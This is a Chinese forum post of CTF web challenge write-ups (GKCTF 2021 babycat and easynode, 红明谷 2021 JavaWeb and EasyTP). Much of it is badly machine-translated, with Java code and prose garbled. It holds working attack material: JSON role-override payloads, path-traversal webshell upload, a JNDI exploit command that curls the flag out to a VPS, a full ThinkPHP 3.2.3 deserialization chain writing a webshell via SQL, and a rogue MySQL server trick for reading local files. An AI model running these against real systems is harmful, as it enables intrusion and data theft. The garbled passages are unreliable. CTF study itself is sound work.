本帖最后由 zhaorong 于 2021-7-22 14:44 编辑
最近CTF网络题解
本文的部分被拦截,因此以截图方式呈现,请欣赏代码
GKCTF2021 babtcat
这道题发现注册被接口不允许这里直接直接抓包注册发现存在任意
文件下载结合目录先把源码获得进行审计
这里需要上传针对管理员开放的:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">// </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">// 由 IntelliJ IDEA 从 .class 文件重新创建的源代码</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">//(由 FernFlower 反编译器提供支持)</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">//</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">包 com.web.servlet; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 com.web.dao.Person; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 com.web.util.tools; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 java.io.BufferedReader; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 java.io.File; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 java.io.IOException; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 java.io.InputStream; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 java.io.InputStreamReader; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 java.util.ArrayList; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 java.util.Arrays; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 java.util.Iterator; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 java.util.List; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 javax.servlet.ServletException; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 javax.servlet.annotation.MultipartConfig; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 javax.servlet.http.HttpServlet; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 javax.servlet.http.HttpServletRequest;</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 javax.servlet.http.HttpServletResponse; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 org.apache.commons.fileupload.FileItem; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 org.apache.commons.fileupload.disk.DiskFileItemFactory; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 org.apache.commons.fileupload.servlet.ServletFileUpload; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">@MultipartConfig </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">public class uploadServlet extends HttpServlet { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> public uploadServlet() { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> protected void doGet(HttpServletRequest req, HttpServletResponse resp) thro </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">ws ServletException, IOException { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> String admin = "admin"; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> Person user = (Person)req.getSession().getAttribute("user"); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> System.out.println(user.getRole()); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 如果 (!admin.equals(user.getRole())) {</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.setAttribute("error", "<script>alert('admin only');history.back(-1)</script>"); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } else { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> List<String> fileNames = new ArrayList(); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> tools.findFileList(new File(System.getenv("CATALINA_HOME") + "/webapps/ROOT/W </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">EB-INF/upload/"), fileNames); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.setAttribute("文件", 文件名); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> System.out.println(fileNames); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);</font></font>
- <font style="vertical-align: inherit;"></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> protected void doPost(HttpServletRequest req, HttpServletResponse resp) th </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">rows ServletException, IOException { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> if (!ServletFileUpload.isMultipartContent(req)) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.setAttribute("error", "<script>alert('something wrong');history.back (-1)</script>"); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> DiskFileItemFactory工厂=新DiskFileItemFactory(); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> factory.setSizeThreshold(3145728); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> factory.setRepository(new File(System.getProperty("java.io.tmpdir"))); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> ServletFileUpload upload = new ServletFileUpload(factory); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 上传.setFileSizeMax(41943040L); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 上传。</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 尝试 { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> List<FileItem> formItems = upload.parseRequest(req); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> if (formItems != null && formItems.size() > 0) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> Iterator var7 = formItems.iterator(); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> label34: </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> while(true) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> FileItem item; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 做 { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> if (!var7.hasNext()) {</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 打破 label34; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> item = (FileItem)var7.next(); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } while(item.isFormField()); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 字符串文件名 = 项目。</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", ""); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> String name = fileName.replace(ext, ""); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> if (checkExt(ext) || checkContent(item.getInputStream())) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.setAttribute("error", "上传失败"); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> String filePath = uploadPath + File.separator + name + ext; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> File storeFile = new File(filePath); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> item.write(storeFile); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.setAttribute("error", "上传成功!");</font></font>
- <font style="vertical-align: inherit;"></font>
- <font style="vertical-align: inherit;"></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } catch (Exception var14) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.setAttribute("error", "<script>alert('something wrong');history.back(-1)</script>"); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> private static boolean checkExt(String ext) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> boolean flag = false; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">"xml", "html", "xhtml", "zip", "gz", "tar", "txt"}; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> if (!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> flag = true; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> }</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 返回标志;</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> }</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 私有静态布尔值 checkContent(InputStream item) 抛出 IOException {</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 布尔标志 = 假;</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> InputStreamReader input = new InputStreamReader(item); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> BufferedReader bf = new BufferedReader(input); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 字符串行 = null; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> StringBuilder sb = new StringBuilder(); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> while((line = bf.readLine()) != null) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> sb.append(line); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> }</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 字符串含量= sb.toString(); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"}; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> for(int i = 0; i < blackList.length; ++i) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> if (content.contains(blackList[i])) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> flag = true; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> }</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 返回标志;</font></font>
- <font style="vertical-align: inherit;"></font>
- <font style="vertical-align: inherit;"></font>
复制代码
这里可以看到当以管理员用户登录后可以调用上传的功能还可以通过一定的限制来贴一下关键的上传逻辑:
- String fileName = item.getName();
- String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
- String name = fileName.replace(ext, "");
- if (checkExt(ext) || checkContent(item.getInputStream())) {
- req.setAttribute("error", "upload failed");
- req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
- }
- String filePath = uploadPath + File.separator + name + ext;
- File storeFile = new File(filePath);
- item.write(storeFile);
- req.setAttribute("error", "upload success!");
复制代码
得到上传文件的后缀以及,并且该后缀以及上传文件的内容还需要具体的方法
checkExt和checkContent检验:
- private static boolean checkExt(String ext) {
- boolean flag = false;
- String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties",
- "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
- if (!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) {
- flag = true;
- }
- return flag;
- }
- private static boolean checkContent(InputStream item) throws IOException {
- boolean flag = false;
- InputStreamReader input = new InputStreamReader(item);
- BufferedReader bf = new BufferedReader(input);
- String line = null;
- StringBuilder sb = new StringBuilder();
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> while((line = bf.readLine()) != null) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> sb.append(line); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> }</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 字符串含量= sb.toString(); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"}; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> for(int i = 0; i < blackList.length; ++i) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> if (content.contains(blackList[i])) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> flag = true; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> }</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 返回标志;</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> }</font></font>
复制代码
地方对上传文件的限制是非常严格的问题可以利用这个重大的但是:注意
如果判断中将响应进行后并没有执行,则表示代码会继续下去,为了将文件进行返回执行那
两个检测的方法都是假的,并没有可能因此最终的作用因此可以构造文件进行上传。
并且在此时此刻提升了自己的能力我们注意到:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", ""); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">String name = fileName.replace(ext, ""); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">String filePath = uploadPath + File.separator + name + ext;</font></font>
复制代码
这里存在路径穿越,当我们上传的文件例如为../../../../../../../etc/test.jsp则ext=jsp且name=../. ./../../../../../etc/t
est最终会上传到/等目录下因此实际上传路径是我们可控的因此我们需要选择一个成功解析JSP的目录上传jsp马智能
如何以管理员进行绕过呢?还可以:
这里使用正则进行简单匹配,在json中的参数会覆盖
前面相同的参数,因此我们可以选择我们身份的有效身份:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">data={"username":"crispr","password":"123","role":"guest","role"/**/:"admin"}</font></font>
复制代码
利用注释符来绕过正则匹配或者这样构造:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">data={"username":"crispr1","password":"123","role":"admin"/*,"role":"guest"*/}</font></font>
复制代码
成功以管理员身份登录后我们上传了一个jsp webshel l可以上传到
目录下因为该目录访问并且解析jsp
执行/readflag得到连接flag
并且此题在上传的过程中并没有鉴权图以记录用户登录后也可以
通过发布访问该接口实现文件上传
GKCTF2021 babtcat-revenge
出题人汽车上述问题后设置了报复看下修改后代码(贴出关键对比代码):
- String fileName = item.getName();
- String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
- String name = fileName.replace(ext, "");
- if (!checkExt(ext) && !checkContent(item.getInputStream())) {
- String filePath = uploadPath + File.separator + name + ext;
- File storeFile = new File(filePath);
- item.write(storeFile);
- req.setAttribute("error", "upload success!");
- }else {
- req.setAttribute("error", "upload failed");
- req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
- }
复制代码
这里只能通过checkExt状语从句:checkContent之前
无法进行文件的上传,但也说明过这里绕过分机和文件内容进行getshell是比较困难的,在baseDao.class中看到了XMLDecoder:
该方法会在getConnection中被调用,而getConnection方法会在注册和登录时被调用。
因此这里存在XML反序列化而XMLdecoder的内容是/db/db.xml需要通过升级接口db.xml文件进行覆盖
提示说PrintWriter,网上找到一个payload(使用变形jsp马绕过)):
通过得到/proc /self/environ当前根目录文件上传到/db/db.xml中:
重登录获取连接方法后访问cmd马档案:
GKCTF 2021]easynode
odejs题给了源码先对源码进行审计可以先登录后台后台:
- let safeQuery = async (username,password)=>{
- const waf = (str)=>{
- blacklist = ['\\','\^',')','(','"','\'']
- blacklist.forEach(element => {
- if (str == element){
- str = "*";
- }
- });
- return str;
- }
- const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
- if (waf(str[i]) =="*"){
- str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
- }
- }
- return str;
- }
- username = safeStr(username);
- password = safeStr(password);
- let sql = format("select * from test where username = '{}' and pass
- word = '{}'",username.substr(0,20),password.substr(0,20));
- result = JSON.parse(JSON.stringify(await select(sql)));
- return result;
- }
- app.get('/', async(req,res)=>{
- const html = await ejs.renderFile(__dirname + "/public/index.html")
- res.writeHead(200, {"Content-Type": "text/html"});
- res.end(html)
- })
- app.post('/login',function(req,res,next){
- let username = req.body.username;
- let password = req.body.password;
- safeQuery(username,password).then(
- result =>{
- if(result[0]){
- const token = generateToken(username)
- res.json({
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> "msg":"yes","token":token </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> }); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> else{ </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> res.json( </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> {"msg":"用户名或密码错误"} </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> ); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> ).then(close()).catch(err=>{res.json({"msg":"出错了!"});});</font></font>
复制代码
但是在这个地的过滤虽然说不上式但是却可以通过恒等地方产生这个进入这个地方的地方符号都已经不在好实现注入的地方地方
卡了比较久的时间,实际上就是利用了js的可以尝试,我们js的类型转换是非常弱的,如果safeStr()的参数中
是一个数组,因为该方法可以给出参数是字符串并且对字符串进行逐字节匹配,替换为*号为数组后数组则第一
个元素为字符串,字符串== *当然不会成立因此可以成功绕过但请注意:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">用户名 = safeStr(用户名); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">密码 = safeStr(密码); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">let sql = format("select * from test where username = '{}' and pas </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Sword = '{}'",username.substr(0,20),password.substr(0,20));</font></font>
复制代码
因为只有这样才能使用substr函数并没有该函数应该可以
仅凭自己的使用错误认识我们:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){ </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">//console.log(str.length); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">if (waf(str[i]) =="*"){ </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> str = str.slice(0, i) + "*" + str.slice(i + 1, str.length); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码
该在函数中求最终会
自动转换为字符串类型从而能够调用substr如果的条件要满足过滤,也最好在一些被元素存在的元素存在,该元素在
比较靠后的影响位置这样我也会比较大不会第一个元素当我们如下构造:此时
SQL变成了查询:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">select * from test where username='admin'#xxxx</font></font>
复制代码
这是一个真句子因此登录成功
宝宝是一个原链的点,继续审核代码发现存在的管理员DIV导航这里贴下该路径的源码:
- app.post("/adminDIV",async(req,res,next) =>{
- const token = req.cookies.token
- var data = JSON.parse(req.body.data)
- let result = verifyToken(token);
- if(result !='err'){
- username = result;
- var sql =`select board from board where username = "${username}"`;
- var query = JSON.parse(JSON.stringify(await select(sql).th
- en(close().catch( (err)=>{console.log(err);} ))));
- board = JSON.parse(JSON.stringify(query[0].board));
- for(var key in data){
- var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
- extend({},JSON.parse(addDIV));
- }
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> sql = `更新板 SET board = '${JSON.stringify(board)}' where username = '${username}'` </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> select(sql).then(close()).catch( ()=>{res. json({"msg":'DIV 错误?'});}); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> res.json({"msg":'addDiv 成功!!!'}); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> else{ </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> res.end('nonono'); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">});</font></font>
复制代码
就是在DIV模块下回读取用户的用户名之后将DIV的键名和值直接引导进入这里使用延伸合并进行实
际上也是类似的合并方法使用了JSON。解析这样才能成为原这样的可能不会直接被解析源
因此这里存在原链污染考虑到这里了ejs库:
访问访问/管理时进行渲染可以利用ejs的原链污染进行getshell:
原理可以参考:ejs原链污染
注意反射回弹使用base64迎在url中需要将base中的+号变成%2b
构造表达式:
这原链已经被污染了当访问管理线路后调用ejs渲染时会:
完成后就可以得到
红明谷CTF 2021]JavaWeb
发现是一个Spring的项目并且有登录发的原因在这里抓包改发过去发现是shiro的框架shiro AES的秘密秘密爆破无果应该
是这个点提示有因为/json是shiro的框架可以使用/;/来进行绕过,因为发现/json登录后无法访问存
在弱智管理admin888登录后会话需要进行访问也可在此。
使用的jackson进行转换考虑jackson反序列化:
http :
//b1ue.cn/archives/189.html一个由logback流行的jndi注入可影响到2.9.9.1
发现vps成功监听下一个是一个比较简单的JNDI注入可以使用
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -d @/flag </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">http://xx.xx.xx.xx:3333/" -A xx.xx.xx.xx</font></font>
复制代码
注意这里最好用JDK 1.8来运行有可能收不到数据运行完监听3333这里端口使
用卷曲-d来外带根目录下的标志:
红明谷CTF 2021] EasyTP
个ThinkPHP框架的www.zip下载完源码后发现是3.2.3的链子已经有文章分析过3.2.3的
反序列化链并且这里存在反序列化:
链子不会了,效果名单最终的英文进行任意数据库连接这时候可以有两种思路第一个的英文一个激发灵感的配置后利
用吸进来进行写壳到的/ var / www / html等得到壳这里的MySQL的为根根弱描写,因此构成exp:
- <?php
- namespace Think\Db\Driver{
- use PDO;
- class Mysql{
- protected $options = array(
- PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
- PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //把堆叠开了
- );
- protected $config = array(
- "debug" => 1,
- "database" => "mysql",
- "hostname" => "127.0.0.1",
- "hostport" => "3306",
- "charset" => "utf8",
- "username" => "root",
- "password" => "root"
- );
- }
- }
- namespace Think\Image\Driver{
- use Think\Session\Driver\Memcache;
- class Imagick{
- private $img;
- public function __construct(){
- $this->img = new Memcache();
- }
- }
- }
- namespace Think\Session\Driver{
- use Think\Model;
- class Memcache{
- protected $handle;
- public function __construct(){
- $this->handle = new Model();
- }
- }
- }
- namespace Think{
- use Think\Db\Driver\Mysql;
- class Model{
- protected $options = array();
- protected $pk;
- protected $data = array();
- protected $db = null;
- public function __construct(){
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> $this->db = new Mysql(); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> $this->options['where'] = ''; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> $this->pk = 'id'; </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> $this->data[$this->pk] = array( </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> "table" => "mysql.user where 1=1;select 'a 句 webshell' into out </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">file'/var/ </font><font style="vertical-align: inherit;">www/html/crispr.php </font><font style="vertical-align: inherit;">' ;#", </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> "where" => "1=1" </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> ); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">命名空间{ </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> echo base64_encode(serialize(new Think\Image\Driver\Imagick()));</font></font>
复制代码
发现将标志写入数据库中因此连接数据库得到标志:
还有一种观点是利用rogue-mysql-server连接到vps上的恶意服务器
项目在这:https : //github.com/allyshka/Rogue-MySql-Server
其原理简单叙述主要是恶意模拟MySQL服务端的身份等待客户端的SQL然后响应时间返回
一个LOAD DATA请求客户端即根据响应内容上传了本机的。
借用无光师傅的描述正常的请求流程为
客户端:嗨~我将把我的data.csv文件给你插入到测试表中!
服务端:好的,读取本地你的data.csv文件并导出我!
客户端:这是文件内容:balabala!
而恶意的流程为
客户端:嗨~我将把我的data.csv文件你给插入到测试表中
服务端:好的,可以读取你本地的/etc/passwd文件并读取我!
客户端:这是文件内容:balabala(/etc/passwd文件的内容) )!
所以只需要客户端在连接服务端后发送一个请求检测到客户端的本地文件,并且可以看到 MySQL 客户端在创建
连接后发送一个请求判断服务端的版本或其他信息的修改可能几乎可以所有的MySQL客户端。
这里使用的是php版本的rogue-mysql 并且将exp中的配置成vps的地址反序列化是执行触发
可以读取flag.sh: |